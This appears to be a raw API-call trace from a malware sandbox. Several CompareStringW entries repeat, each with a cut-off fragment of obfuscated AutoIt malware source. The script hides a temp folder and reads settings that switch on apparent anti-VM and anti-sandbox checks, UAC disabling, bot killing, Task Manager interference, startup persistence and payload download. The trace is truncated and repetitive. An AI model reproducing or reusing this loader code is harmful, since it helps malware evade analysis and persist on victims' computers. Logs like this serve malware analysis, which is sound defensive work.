$2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $60", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $604", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If 